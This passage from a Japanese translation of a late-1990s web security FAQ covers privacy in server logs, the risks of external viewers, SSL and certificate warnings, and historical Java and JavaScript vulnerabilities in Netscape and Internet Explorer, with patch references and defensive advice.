もうひとつのオプションとしては、サーバ自身をスクリプトが必要とする特権を十分に持つユーザとして動作させる方法があります。 もしCERN サーバを使っているのであれば、それぞれのスクリプトに対し異なったユーザとして動作させることもできます。 詳細は CERN のマニュアルを参照してください。



8. サーバのログとプライバシー

(本セクションのQ&Aにご尽力いただいた Bob Bagwill氏 に感謝します。)

Q51: ユーザがプライベートにしておきたいと思っていることを明らかにしてしまう情報にはどのようなものがありますか?

ほとんどのサーバはすべてのアクセスを記録しています。通常、ログ(記録内容)にはIP アドレスおよびホスト名、ダウンロード時間、ユーザ名(ユーザ認証で認識されたかあるいは identdプロトコルで得られた場合)、リクエストされたURL(GET方式を使用して提示されフォーム内の変数値を含む)、 リクエストの状態、送信されたデータのサイズなどが含まれます。また、ブラウザによってはユーザが使用しているクライアント、 クライアントが経由したURL、ユーザのe-mailアドレスといった情報を提供するものもあります。 サーバはこういった情報を記録するだけでなく、CGI言語で使用できるようにすることもできます。 ほとんどのWWW利用者は自分専用のマシンから操作を行っているでしょうから、ダウンロードはその個人により行われているといえます。 ですから、これらの情報を明らかにするということは、本質的にそのユーザに対して被害を与えることになります。

たとえばXYZ.comがABC.comの経営報告をダウンロードすることは、企業の吸収合併の兆候となりえます。 また、社内人材募集へのアクセスは、誰が異動を希望しているのかを明らかにしてしまいますし、 漫画をダウンロードしている時間がわかるとユーザが会社の資産を本来の目的以外に使用していることが分かってしまいます。 参照ログエントリには以下のようなものが含まれます。

 file://prez.xyz.com/hotlists/stocks2sellshort.html -> http://www.xyz.com/

個人のアクセスの傾向は、その人がどのように情報を活用しているかを示してしまいますし、 その人が何を検索したかは、特に大きな情報源となり得ます。

その他にも、ローカル環境でのWebの使用状況は、ブラウザの履歴やホットリスト、キャッシュなどからも知られてしまいます。 もしも誰かがユーザのマシンにアクセスした場合、これらのデータの内容をチェックできてしまいます。 開放されているラボや公共図書館などにある共有マシンが分かりやすい例でしょう。

とりわけ、組織のセキュリティシステム(firewall)外のWebサービスへのアクセスに使用されるプロキシサーバは微妙な位置にあります。 プロキシサーバは、すべての組織内部メンバの外部Webへのアクセスを記録し、 かつリクエストを行ったホストのIPナンバとリクエストされたURLを追跡するからです。 ですから、プロキシサーバを注意して管理していないと、深刻なプライバシー侵害を引き起こすことになります。


Q52: 自分のサイトに来たユーザのプライバシーは尊重すべきでしょうか?

そのとおりです。他人のプライバシーの尊重は、責任あるネット利用者として求められることの一つです。 あなたが作者の同意なしに私的なe-mailを転送したり公開したりしないのと同じように、 一般に個人のWeb使用の統計結果を使用したり掲示したりするべきではありません。

政府関連のWebサイトであれば、訪れたユーザのプライバシーを守るよう法的に要求されることもあります。 たとえば、米国の各連邦機関がクライアントに関し様々なデータを収集/公開することは禁じられています。

また米国内のほとんどの州では、図書館やビデオショップが顧客の貸出記録を販売/配布することを違法としています。 法廷は未だ同等の法的基準を電子情報サービスに対して適用していませんが、 ユーザがプライベートな内容に関してWeb上に同様のことを期待するのは不当なことではありません。 他の国でも、たとえばドイツではオンラインアクセスのリストを公表することを法律で明確に禁止しています。 もしもあなたのサイトで、メールリストを作成したり他の事業に転売するためにWeb記録を使うことを決めたのならば、 そのことをはっきりと明言しておく必要があります。


Q53: 情報を集めすぎないようにするにはどうしたら良いですか?

サーバによっては、使用状況に関する統計をとってそのデータを組織へ提供したり、Web サイトのリソースを充実させたりすることが必要な場合もあると思います。ただし一般的には、 個人のアクセスに関する情報を収集してもそれほど有益ではなく、また活用場面もないでしょう。

情報を集めすぎないようにする簡単な方法は、用途に合わせて出力記録を作るようなサーバを使用し、 重要なデータだけを残してあとは処分してしまうようにすることです。また、 未処理の記録の要約と処分を定期的に行う方法もあります。人気のあるサイトの記録は急激に増加しがちなので、 いずれにせよこういった対策を講じる必要が生じるでしょう。


Q54: ユーザのプライバシーを守るにはどのような方法がありますか?

ユーザには二種類あります。一つは外部からあなたの文書を閲覧するユーザで、もう一つは内部から内部文書と外部文書を閲覧するユーザです。

外部のユーザについてはログを要約することでプライバシーを守ることができますが、 内部のユーザに関しては次の方法で守ることができます。

  1. Webの使用に関する明確な方策(サイトポリシー)を持つ
  2. 内部ユーザに対して、Web使用における危険性とサイトポリシーについて理解させる
  3. サイトレベルのプロキシキャッシュを使用し、外部のサーバから内部の個人ホストの認 識情報を見えないようにする

サイトのドメインからWebアクセスを見られないようにしたいのならば、匿名アクセスを提供している他のインターネットプロバイダからWebクライアントアカウントを入手する必要があります。



9. クライアント側のセキュリティ

(本セクションのQ&Aにご尽力いただいた Laura Pearlman氏に感謝します)

Q55: application/x-csh タイプの文書を見るビューアとして /bin/csh を設定するよう勧められました。これは賢明な方法ですか?

適切ではありません。文書のビューアとして言語処理スクリプトのコマンド行シェル、インタプリタ、マクロプロセッサを設定すると、 Web上で妨害されやすくなります。インターネットからダウンロードしたプログラム (FTPからダウンロードしたプログラムを含む) をやみくもに実行しないでください。スクリプトはテキストでダウンロードし、それが悪影響を及ぼさないことを確認してから手動で実行するのが安全策です。

一般に普及している PC スプレッドシートプログラムで生成されるマクロワークシートでも同様の注意が必要です。 自動的に再計算を行うスプレッドシートを受け取るために "application/x-msexcel-macro" タイプを利用したくなりますが、 Excel マクロ言語の関数には、 潜在的に他のワークシートやファイルへ悪影響を及ぼすものがあります。 ワープロソフトのシートやテンプレートファイルのように、特に影響がないと思われるデータについても同様の注意が必要です。 ほとんどの高機能ワープロソフトにはマクロ処理機能が組み込まれています。 ワープロマクロの悪用例として、文書間でウィルスのように波及する Microsoft Word の "prank macro"が挙げられます。

私が知っているあるユーザは、自身または信頼できる作成者が書いたスクリプトのダウンロードのみに C-Shell を使うことにしました。彼は、ダウンロードする前に手動ですべての URL を表示させ、.csh という拡張子がついていないことを確認していました。 しかし残念ながら、どのような URL が含まれているかを判別するのに、ファイルの拡張子はあまりあてになりません。 文書のタイプを判別するのはブラウザではなく Web (HTTP) サーバであり、application/x-csh タイプの文書には単に .txt という拡張子がついていることも、拡張子がないこともあります。

つまり、実行可能なステートメントを含むファイルを見るための外部ビューアを使うときは十分な注意が必要であるということです。

このセキュリティ問題は、危険な機能を disable にすることができる JavaSafe Tcl を言語として指定することにより対処できます。perl プログラムのより安全な外部ビューアとして使用できるプロトタイプの "Safe Perl" もあります。


Q56: 外部ビューアに関して他に注意点はありますか?

Yes. はい。外部ビューアとして設定したプログラムをアップグレードするときは常に、そのプログラムの新機能について Q55 のような問題を検討してください。たとえば、ビューアがワープロソフトで、 新しいバージョンからはスクリプト/マクロ機能が追加されている場合、 文書をロードおよび表示すると自動的にスクリプトが起動される可能性があります。

Q57:Netscape で "You are submitting the contents of a form insecurely (安全でない形式で情報を送信しようとしています)" というメッセージを消すにはどうすればいいですか? 気にする必要はないのですか?

このメッセージは、CGI スクリプトに送ったデータの内容が暗号化されず傍受される可能性があることを示しています。 暗号化されたデータを処理できるのは Netsite Commerce Server だけなので、Netscape 以外のサーバにデータを送るとすぐにこのメッセージが表示されます。 クレジットカード番号などの秘密情報を暗号化なしで送信することは避けてください (ただし、あなたが携帯電話で相手のクレジットカード番号を読み上げるなどというさらに安全性の低い行為を行うような人物であるなら論外ですが)。

このメッセージを消すには、Netscape の [オプション] メニューから [セキュリティの設定] を選択し、[Images and Security] を選択して [保護なしでフォームを送信するとき警告する] チェックボックスのチェックを外してください。


Q58 SSL による暗号化はどの程度安全ですか?

SSL は公開鍵暗号を使ってクライアントとサーバ間のセッションキーを変換します。この セッションキーは、http トランザクション (リクエストおよびレスポンス両方の処理) を暗 号化するのに使用されます。各トランザクションはそれぞれ異なるセッションキーを使用 するため、誰かがあるトランザクションを復号化できたとしても、サーバの秘密鍵を見つ けることはできません。他のトランザクションを復号化しようとしても、最初の復号化と 同じだけの時間と手間がかかります。

Netscape サーバおよびブラウザは、40 ビットまたは 128 ビットの秘密鍵を使用して暗号化を行います。 40 ビットのキーでは、"brute force"方式 (メッセージの暗号を解除できるキーを見つけるまで 2^40個のキーをひとつひとつ試してみる方法) に対抗するには弱いため、セキュリティは確保できないと考えられています。 実際、あるフランスの調査員が、1995 年にワークステーションのネットワークで 40 ビット暗号化メッセージを一週間ほどで解読したことが報道されています。おそらく特殊なハードウェアでは、 この程度のメッセージはものの数十分で解読されてしまうと思われます。しかし 128 ビットのキーを使えば、 2^128 のキーが考えられるわけで、このような問題を回避することができます。このメッセージを brute force 方式で解読するには、従来の技術では宇宙規模の年数を必要とすると言われています。残念ながら、 ほとんどの Netscape ユーザが使用しているのは 40 ビット秘密鍵のみをサポートしているブラウザです。 これは、米国外へ輸出される可能性のある暗号化ソフトウェアに法的な制限があるためです。

Netscape バージョン 3.X 以前のものでは、[ファイル] メニューの 「文書情報」 画面で特定の文書に使用されている暗号の種類を知ることができます。この情報は、Netscape 画面の左下にある小さな鍵のマークでも知ることができます。三本の歯がある鍵は 128 ビット暗号、二本の歯がある鍵は 40 ビット暗号、壊れた鍵は暗号なしを示します。 ご利用のブラウザが 128 ビット暗号をサポートしている場合でも、古いサーバまたは米国およびカナダ以外のサーバと通信している場合は 40 ビット暗号になります。

Netscape バージョン 4.X 以降では、[Security] ボタンをクリックすると、現在のページが暗号化されているかどうかとその暗号レベルを見ることができます。

Microsoft Internet Explorer では、暗号を使用しているときは画面の右下に南京錠のマークが表示されます。 40 ビットと 128 ビットのどちらを使用しているかは、[ファイル] -> [プロパティ] を選択して文書情報のページを開くとわかります。使用時には、"weak" (40 ビット) または "strong" (128 ビット) と表示されます。 .

Chosen Ciphertext 攻撃 (1998 年 6 月)

1998 年 6 月、Bell 研究所の調査員が、PKCS#1 公開鍵暗号方式に対し技術的に非常に高度な攻撃方法を発見しました。 PKCS#1 はSSL プロトコルで使用されているプロトコルです。この方法を使って、慎重に構成した約 100 万個のメッセージを Web サーバに送信してそのレスポンスを調べることにより、1 つの Web セッションを暗号化するのに使用されているセッションキーをアタッカーが突き止められるようになりました。 セッションキーの不正入手に成功すれば、アタッカーはその Web セッションの内容 (リクエストしたURL と表示される文書に加え、 cookie または送信フォームで送られたあらゆる情報) を読み取ることができます。 この方法ではサーバの秘密鍵が不正入手されるわけではないので、アタッカーは情報を読み取ろうとするセッションごとに攻撃を繰り返さなければなりません。 攻撃を何度も試みなければならず、かなりの時間も必要としますが、brute-force 方式よりずっと効率的です。

アタッカーは多くのメッセージを Web サーバに送ろうとするので、CPU の負荷状態やメモリ使用量、 異常なネットワークアクティビティの増加などに注意していれば、変化を察知できるかもしれません。 また、C2Netの Stronghold のような SSLEay ライブラリに基づく製品は、約 300 MB ごとに突発的な SSL エラーログを監視します。

1998 年 6 月以前までの SSL 許可 Web サーバでは、こうした攻撃が発生する可能性があります。 以下の製品にはパッチが使用可能です。

C2Net Stronghold
http://www.c2.net

Microsoft IIS, Microsoft Exchange
http://www.microsoft.com/security/bulletins/ms98-002.htm

Netscape Enterprise, Proxy, Messaging および Collabra Servers
http://help.netscape.com/products/server/ssldiscovery/index.html

Open Market セキュアサーバ
http://www.openmarket.com/security

SSLeay Library
http://www.ssleay.org/announce/
詳細については、以下を参照してください。
  1. CERT (ftp://ftp.cert.org/pub/cert_advisories/CA-98.07.PKCS)
  2. Bell Labs (http://www.bell-labs.com) (懸案中)
  3. RSA Data Security (http://www.rsa.com/rsalabs/pubs/PKCS/)

個人証明書

1996 年以来、VeriSign corporation では、Microsoft および Netscape ブラウザで使用するための「個人証明書」を提供しています。 個人証明書は、Web サーバおよび他のユーザと識別するために使用する一意のデジタル ID です。 個人証明書があれば、S/MIME システムを使用して暗号化された電子メールのメッセージを送受信し、 電子メール送信元のアイデンティティを確認したり、自分の個人情報を Web サーバに提供することができます。

個人証明書は Web 上で広範囲に使用するものではありません。主な目的は、企業の Web サーバで個人証明書を提示することにより、社内イントラネットで社外秘情報にアクセスすることにあります。 ただし、近い将来、インターネットベースの金融上、法律上の取引で証明書を使用する可能性もあると多くの人が考えています。

個人証明書はどの程度安全なのでしょうか。個人証明書は、署名や署名の認証に公開鍵暗号方式を使用しています。 Q26 の SSL 関連Q&A にあったように、公開鍵暗号方式のセキュリティは、ユーザの秘密鍵の機密性に完全依存しています。 電子証明書を申請すると、自動的に申請者の秘密鍵が生成され、申請者のマシンのハードディスクに保存されます。 生成中、秘密鍵をディスクに保存する前に暗号化するためのパスワードを入力するようプロンプトが表示されます。このように予防策をを講じることで、 マシンの物理的な問題やネットワーク上の問題が生じた場合に鍵が傍受される危険性を軽減することができます。

秘密鍵は、これを処理するソフトウェアと同じ安全性しか保たれないため、残念ながらこのスキーマは絶対に確実なものではありません。 前のセクションで説明したように、ブラウザソフトウェアには、既知および未知のものを合わせて数え切れないほどのセキュリティホールがあります。 こうしたセキュリティホールの悪用により、新しいソフトウェアがマシンにインストールされたり、 またはブラウザ自体が変更されたりすると、そのソフトを使って秘密鍵を解読し、 その後秘密鍵をメモリからリカバリしておくことが可能となります。一度秘密鍵が傍受されてしまうと、 他人が鍵の所有者になりすますことが可能です。 本来のユーザになりすまして Web サイトにアクセスしたり、 S/MIME メッセージを送ったり、将来的には法的な文書に署名することが可能になってしまいます。

ソフトウェアの基本的な弱点だけでなく、Microsoft Internet Explorerが秘密鍵を暗号化するのに使用する暗号システムのセキュリティ問題も挙げられています。 問題は不明瞭で、今後も検討を重ねる必要があり、IE のバージョンに応じて多岐にわたっています。 状況により、IEは、brute-force 方式で簡単に妨害されることが判明している 40 ビット暗号を使用して秘密鍵をエクスポートしてしまいます。 場合によっては、秘密鍵が高速の "dictionary"攻撃に弱いこともあります。詳細については、Peter Gutmann 氏 (pgut001@cs.auckland.ac.nz) の著作を参照してください。以下の URL で見ることができます。

http://www.cs.auckland.ac.nz/~pgut001/pubs/breakms.txt

暗号方式と法律

暗号方式の使用は、国内外の法律によって規制されています。米国を始めとする一部の国では、 強度の高い暗号方式を使用することが法的に認められていますが、それを実装したソフトウェアを輸出することはできません。 フランスなどでは強力な暗号方式の使用は全面的に非合法となっています。

法律は急速に改正されています。私が本改版を執筆した 1998 年 12 月には、Wassenaar Arrangement の 33 ヶ国が米国と同じ暗号方式輸出規制の確立に同意しました。 ただし、SSLEAYのようなフリーソフトウェアはこうした規制から除外されているようです。

最近の米国では輸出規制が少し緩み、金融機関と通信を行う場合、またはアメリカ企業の海外支店が本社の Web サイトにアクセスする場合には強力な暗号方式を Web ブラウザで使用して良いということになりました。 こうした特例を可能にするサーバ証明書は、VeriSign から "step-up" プログラムにより入手できます。

暗号方式に関する法律や政治情勢の詳細については、 The Free Crypto Websiteを参照してください。


Q59 セキュアページを表示しようとしたら、サイト証明書がサーバに一致しないがこのまま続けるかというメッセージが表示されました。どうしたらいいですか?

Web サーバのホスト名は、サイト証明書で変更不可能な部分です。ホストの名前が証明書に一致しないと、 ブラウザがこれを認識して警告を出します。まれにサーバの設定をうっかり間違えただけということもありますが、 サーバの証明書が盗まれ、ユーザを騙すために使用されている場合もあります。たいていの場合、送信を中止するのが賢明です。

サーバの証明書が有効期限切れであるという類似した警告メッセージが表示されることもあります。 これは、Web マスターがサイト証明書を定期的に更新していないか、上記と同様に証明書が盗まれ悪用されていることを示しています。 この場合もやはり送信を中止するのが賢明です。


Q60セキュアページを見ようとしたら、証明書に署名している authority を認識できないがこのまま続けるかというメッセージが表示されました。どうしたらいいですか?

Web ブラウザには、Web サイトのアイデンティティを保証するために、信頼できる認証機関のリストがプリインストールされています。数年前は、証明を行う認証機関 はVeriSign 一社しかありませんでしたが、現在では 数十社あります。自分のブラウザが信頼している認証局を表示するには、以下の操作を行います。
  1. Netscape Navigator 1.0-3.02 では、[オプション] -> [セキュリティの設定] -> [サイト証明 書] を選択します。
  2. Netscape Navigator 4.X では、[Security] アイコンをクリックします。
  3. Internet Explorer では、[View] -> [Option] -> [Security] -> [Site...] を選択します。
CA 証明書 - CAが各 Web サイトの証明書に署名するために使用するマスター証明書 - のスクロールリストが表示されます。 Netscape および Microsoft ブラウザのどちらでも、 証明の内容表示、アクティブまたは非アクティブにする、新しい証明のインストール、古い証明の削除を行うことができます。

Web サイトが任意の認証機関によって署名された証明書をブラウザに提示すると、ブラウザは認証機関の署名とプリインストールされているリストの署名とを照合します。 署名がリストにあれば SSL 接続が許可され、操作を続行できます。リストにない場合はそのCA を認識できない旨が通知されます。

この場合、ブラウザに応じたオプションが使用できます。Netscape では、サイトの証明書と認証機関の署名を検閲するオプションがあります。 これを使用すると、現在のセッションに対して、または今後使用するセッションに対しても、その証明書の有効性を認識することができます。 その証明書を受諾すると、それが CA 証明書としてブラウザにインストールされ、SSL 接続が完了します。Internet Explorer にはこのオプションがありません。サイトを接続するには、CA証明書のコピーを入手してインストールしなければなりません。これについては以下で説明します。 .

未知の認証機関が署名したサイト証明書を受諾しても安全だと思いますか? 古いブラウザをお使いでしたら、 その認証機関は合法的であってもブラウザソフトウェアがリリースされた後に参入した機関である可能性があります。 しかし悪質な CA が署名した証明書である可能性もあります。パブリック・ドメイン証明書ソフトウェアを使って、 自己署名した証明書を作成するのは難しくありません。よく確認せずにサイト証明書を受諾するようなことは決してしないでください。まず内容を検閲し、合法性について疑問があれば、認証 機関に直接 (電話で) 問い合わせてください。問い合わせ方法がすぐわからない場合は、その機関が合法的でない可能性があります。

ブラウザに新しい認証機関を登録することができます。その認証機関の証明書を示す URL を開くことで実行できます。新しい CA 証明書を登録しようとしていることを通知する警告メッセージが表示され、 本当に登録するかどうかをたずねます。操作を続行すると証明書が登録され、信頼されている認証機関のリストにその CA が表示されます。これで、その CA によって署名されたすべてのサイト証明書が信頼され、SSL 接続を行うことができます。

セキュリティ上の理由により、新しい CA 証明書を登録するときは十分注意する必要があります。 今から行おうとしていることの意味を十分理解し、その CA が信頼できるという確固たる証拠がある場合のみ行ってください。 たとえば、多くの企業では内部的な認証機関を設置してイントラネットサーバの証明書に署名しています。 あなたの上司がフロッピーディスクを渡して、その中に入っている証明書を登録するよう命じた場合は、 その証明書を受諾しても大丈夫でしょう。しかしインターネットをブラウズしているときに CA 登録ダイアログが予期しない場面で表示された場合は、すぐに作業を中止し、リモートサイトの Web マスターに通知してください。


Q61: Web 文書に対するリクエストのプライバシーはどの程度守られますか?

前述の セクション(8)を参照してください。文書に対するリクエストはすべて Web マスターが記録します。通常、ユーザの名前は記録されませんが、IP アドレスとホスト名は記録されます。 また、一部のサーバでは新しい URL をリクエストしたときに表示されていた URL (ユーザのホームページなど) も記録されます。サイトがきちんと管理されていれば、 アクセスの記録は生成およびデバッグの統計にしか使用されません。しかし、 サイトによっては、記録内容をローカルユーザが簡単に開いたり、メーリングリストを作成するのに使用できるものもあります。

GET リクエストを使用して送信したクエリの内容は、クエリが URL の一部として送信されるためサーバログファイルに表示されます。 しかし、POST リクエスト (記入フォームで送信する場合など) でクエリを送信した場合は、送信したデータは記録されません。 キーワード検索の内容が公開記録に表示されるのがいやな場合は、その検索スクリプトが GET と POST のどちらを使用しているかをチェックしてください。最も簡単な方法は、最初に影響のないクエリでテストしてみることです。 クエリの内容が検索した文書の URL に表示された場合は、それらはリモートサーバログにも表示されると考えてください。

Netsite / Netscapeのようなデータの暗号化を使用するサーバ / ブラウザの組み合わせは URL リクエストを暗号化します。また暗号化されたリクエストは POST リクエストとして送信されるためサーバログには表示されません。


Q62: Java と JavaScript との違いは何ですか?

名前はよく似ていますが、Java と JavaScript は全く別のエンティティです。 Java は Sun Microsystems が設計した言語です。 Java のスクリプトは予めコンパクトにコンパイルされ、 その接続のサーバ側に格納されています。HTML 文書は <APPLET>タグが組み込まれた Java "applet" と呼ばれる小さなアプリケーションです。<APPLET>タグをサポートするブラウザ (Netscape Navigator 2.0、Microsoft Internet Explorer 3.0、および Sun の HotJava) はコンパイルされた Java アプリケーションをダウンロードして実行します。

JavaScript は Netscape Corporation が設計した HTML 言語の拡張シリーズで、Netscape Navigator バージョン 2.0 以降、および Microsoft Internet Explorer バージョン 3.0 以降で認識されます (MSでは"JScript" と呼ばれています)。 これは、ブラウザを制御するために設計された翻訳言語で、 ウィンドウの開閉、フォーム要素の処理、ブラウザ設定の調整、Java applet の実行を行うことができます。 .

JavaScript の構文は Java と似ていますが、多くの点で全く異なっています。


Q63: Java について、既知のセキュリティホールはありますか?

Java スクリプトはサーバ側ではなくブラウザ側で実行されるため、サーバのリスクはそのままクライアントのリスクとなります。クライアント側で考慮することはあるでしょうか。

リモートユーザのマシンが危険にさらされないよう、いくつかのフェイルセーフ機能が Java に内蔵されています。applet を実行するとき、Java スクリプトは 「セキュリティマネージャ」 オブジェクトによって実行可能な機能を制限されます。セキュリティマネージャは通常、 applet が任意のシステムコマンドを実行したり、システムライブラリをロードしたり、 ディスクドライブなどのデバイスドライバを起動することができないようにします。 また、ユーザ指定のディレクトリにあるファイルしか読み書きできないように制限されています (HotJava ではこのディレクトリを設定できますが、Netscape ではファイルの操作は全くできません)。

applet もネットワーク内で、ダウンロード元のサーバに対する接続のみ許可されるよう制限されています。 これが重要である理由は後で説明します。

最後に、セキュリティマネージャにより Java の applet はネットワークに対する読み書きと、 ローカルディスクへの読み書きを許可されていますが、両方を行うことはできません。 Applet がユーザの私的文書を盗み見たり、その情報をサーバに返してしまう危険性を軽減するためにこのような制限が設けられています。 Netscape ではローカルファイルへの操作はすべて不可とされるため、こうした制限は今のところ意味のないものとなっています。

セキュリティホール

リリースされて間もないため、Java に関しては無数のセキュリティホールが挙げられています。 最新情報としては、1998 年 9 月に、Java 仮想マシンの Windows 95/NT 版でバッファがオーバフローし、 マシンをクラッシュさせる可能性のあるバグが見つかっています。 デモおよび問題のあるバージョンについては、 http://www.eyeone.no/KillerApp/KillerApp.htmを参照してください。

他にも各種のバグが発見および fix されており、著者の私見としては Java は他のアクティブ・コンテンツよりはかなり安全だと考えています。他のアクティブ・コンテンツでは、 セキュリティは、提供されていたとしても、非常に低いものです。

ただし、そうは思わないユーザもいます。たとえば Princeton のコンピュータ科学者である Edward Felten 氏は、この言語の設計そのものに根本的な問題があると考えています。彼が1996 年に作成した Java Security: From HotJava to Netscape and Beyondというレポートが 1996 年 IEEE Symposium on Security and Privacy で公表されていますが、 そこでは以下のように厳しい評価が下されています。

「我々は、現状の Java システムを安全性の高いものにするのは簡単なことではないと結論付けた。 安全性の高いシステムとするには、相当な言語の再設計、バイトコードのフォーマット、ラインタイム・システムというステップが必要だと思われる。」

セキュリティ面を懸念する人は、最も安全な方法を選び、Java の使用を完全にやめたほうがいいと思うかもしれません。 Netscape Navigator 2.0 〜 3.02 では、[オプション] -> [ネットワークの設定] -> [言語] を選択し、[Java] オプションのチェックを外すことにより、Java を使わないように設定することができます。Internet Explorer 3.02 では、[View] -> [Options] -> [Security] -> [Active Content] 画面にある [Enable Java Programs] のチェックを外してください。

Netscape および Internet Explorer のいずれも、4.0 以降のバージョンでは Java を無効にする方法が複雑になっています。 Netscape ではメニューバーの [Edit] -> [Preferences] を選択し、 [Advanced] カテゴリを選択します。次に [Enable Java] チェックボックスのチェックを外します。

IE 4.0 では、[View] -> [インターネットオプション] -> [セキュリティ] を選択してから [Internet Zone] を選択し、[Custom] 設定にします。次に [Settings...] ボタンを押し、Java 設定までスクロールダウンして [Disable Java] を選択します。 "

Netscape および Internet Explorer の各種バージョンに含まれる Java で見られた過去のセキュリティホールの一部を以下に示します。

不当なマシンの命令を実行する

1996 年 3 月 22 日、Princeton大Computer Science科の Drew Dean ( ddean@CS.Princeton.EDU)と Ed Felton (felten@CS.Princeton.EDU) の両名は、ユーザのローカルディスクに入っているファイルを削除する applet を作成するという Java のバグを発見しました。 このバグでは、Netscape のキャッシュメカニズムを使用して、まずユーザのローカルディスクにバイナリライブラリファイルがダウンロードされます。 次に、Javaインタプリタがファイルをメモリにロードして実行します。

このバグは Netscape のバージョン 2.0 および 2.01 にあり、バージョン 2.02 および 3.0x では fix されました。

このバグに関する詳細については、以下を参照してください。

   http://www.cs.princeton.edu/sip

DoS (サービス拒否)攻撃に弱い

applet はメモリなどのシステムリソースや CPU 処理時間を大量に必要とすることがあります。 こうした現象は、プログラマのエラーによって生じる場合と、悪意でコンピュータシステムを使用不可能な状況にするために発生する場合とがあります。 同じブラウザで実行されている applet も被害を受けます。1 つの applet が簡単に他の applet を見つけて接触し、 意図的に他方の applet のspectre を呼び起こし、不安定な動作を引き起こします。

applet の動作がおかしくなった場合は、元のページを閉じてください。 ブラウザ全体を閉じる必要があるかもしれません。

不当なホストでネットワーク接続を起動する

Netscape Navigator バージョン 2.0 には、appletが任意のホストと接続するのを禁じた制限に関連した Javaのバグがあります。バージョン 2.01 ではこのバグが fix されているので、 以前のバージョンをお使いでしたらアップグレードすることをお勧めします。

applet は、それが所属するサーバとだけ通信するものと想定されています。しかし 1996 年 3 月初旬、 Steve Gibbons( mailto:sgibbo@amexdns.amex-trs.com) および Drew Dean (ddean@CS.Princeton.EDU) の両名ががそれぞれ、applet をインターネット上のあらゆるホストと通信できるようにする方法があることを発見しました。 これは重要な問題です。というのは、applet をマシンに一度ダウンロードすれば、たとえファイアウォールで保護されていても、 ユーザの LAN 上のすべてのマシンと通信することができる、ということだからです。 一般に、LAN は外部のマシンからはアクセスできないように設定されています。 しかし、たとえばある組織の社内報サーバに applet が通信し、社内のニュースグループに向けた最新情報を取得して、 外部のホストにその情報を送信するといったことができることになります。

rsh、rlogin、および rcp などのコマンドに精通している UNIX ユーザは、こうしたバグがあると、システム間でコマンドをリモートで実行できるよう 相互を信頼している場合も危険があるということがおわかりになると思います。また、applet がネットワーク・トポロジの詳細情報を収集し、ファイアウォールで保護されたサービスを指定することもできることになります。

特定のホストとの通信を保証するDNS (ドメイン名システム) の使用についてもこのような問題点があります。 悪意ある人物が自らの DNS サーバで偽の DNS エントリを作成し、 認証されていないホストとの通信を許可されているようにJavaシステムに誤認させることができます。

Java Security Manager と Hand-Crafted Byte Code をバイパスする

1997 年 3 月 5 日、JavaSoft の内部セキュリティ監査により、Java bytecode ベリファイアにバグが見つかりました。 理論的には、このバグは Java Security Manager へのバイパスに利用され、禁止動作を実行します。 実際にこのような動作が見られたという報告はありません。このバグは Explorer versions 3.01 以前および Netscape Navigator 3.01の JDK 1.1 に存在します。 Java ライブラリライセンスに使用できるパッチが作成され、最近のバージョンではそれが組み込まれています。

Java とそのセキュリティについての詳細は、以下を参照してください。

  http://java.sun.com/sfaq/

Q64: JavaScript のセキュリティホールはありますか?

JavaScript にもセキュリティホールがあります。ユーザのデータを潜在的に変更してしまう Java のバグと異なり、JavaScript の場合は一般的に、ユーザのプライバシーを侵害するもの です。多くのバグが修正されましたが、新たなバグが絶えず見つかっています。最後に報告されたのは 1997 年 10 月 16 日です。

ユーザのマシンで任意のファイルを読み込む (1998 年 11 月)

Netscape Communicator 4.5 および 4.04 〜 4.05 にあるバグは、Web ページがユーザのマシンから任意のファイルを読み込み、インターネット上に送信してしまうというものです。 システムパスワードファイルなど、ユーザの許可を得て読み込むファイルはいずれも危険です。このバグは CommunicatorのWindows 版および UNIX 版のどちらにも存在します。 電子メールに添付して送信されたものも含め、すべての HTML ページがこのバグを悪用できます。Internet Explorer については、こうした弱点が報告されていません。

"Cuartango" および "Son of Cuartango" (1998 年 11 月)

Microsoft Internet Explorer でも、JavaScript によってファイルが盗まれる危険があります。 Internet Explorer バージョン 4.0 〜 4.01 および IE 5.0 のプレリリースバージョンでは、 JavaScript プログラムがファイルのアップロードフィールドにテキストをカット&ペーストできるので、 それによって Web ページまたは電子メールメッセージがユーザのディスクから任意のファイルを盗んでしまうという罠を仕掛けます。ベースとなるバグおよび同系 列のバグについては、Juan Cuartango 氏が作成しているhttp://pages.whowhere.com/computers/cuartangojc/. を参照してください。

このバグに関する Microsoft の説明およびそれを fix するためのパッチファイルについては、 http://www.microsoft.com/security/bulletins/ms98-015.aspを参照してください。

Netscape の "Cache Browsing Bug" (1998 年 10 月)

Windows 版 Netscape Navigator 3.04、4.07、および 4.5 では、リモートサイトがブラウザキャッシュから URL を読み込み、それによってユーザが最近アクセスしたサイトのリスト を傍受する恐れがあります。このバグについては Netscape のセキュリティノート 記載されています。Mac OS および UNIX 版には影響ありません。

ユーザの電子メールアドレスおよびその他の設定内容を傍受する (1998 年 2 月)

Netscape Navigator 4.0 〜 4.04 には、JavaScript プログラムがブラウザのユーザ設定にアクセスするというバグがあります。 この設定は Netscape ディレクトリに preferences.js という名前のファイルで格納され、ユーザの電子メールアドレス、 受信メールボックスのファイル名、電子メールおよびニュースサーバのアイデンティティなど各種の個人情報が含まれているものです。また多くの場合、この設定ファイルには電子メール (POP) および FTP (発行) パスワードも含まれています。テキストエディタでこのファイルを開けば、その他に含まれている情報も見ることができます。 .

こうした危険性があるということは、JavaScript対応ページで設定ファイルを開き、 そこに含まれている情報をすべてリモートサーバにアップロードすることができるということです。 これは、アクセスしたユーザの電子メールアドレスを取得したり、ユーザのネットワーク設定に関する情報を収集するのに利用される可能性があります。最も問題なのは、 ユーザの電子メールパスワードが公開されてしまうということです。通常、電子メールのパスワードは LAN のログインパスワードと同じであることが多いので、内部ネットワークへの攻撃ルートを公開してしまうも同然ということになります。

Netscape Communicator 4.04 までのバージョンにはすべてこの弱点があります。Netscape バージョン 4.05 ではこの問題が解決されています。初期のバージョンをお使いの場合は、 なるべく早くアップグレードしてください。 もちろん JavaScript を使用しないというのも効果的な方法ですし、 これなら JavaScript システムに潜むその他のバグによる問題も防ぐことができます。

このバグを発見したのはフランスのソフトウェア・コンサルタント Fernand Portela 氏です。 詳細については、氏が作成している以下のページを参照してください。

http://www.mygale.org/~nando

ユーザのローカルマシンにあるファイルを傍受する (1997 年 10 月 16 日)

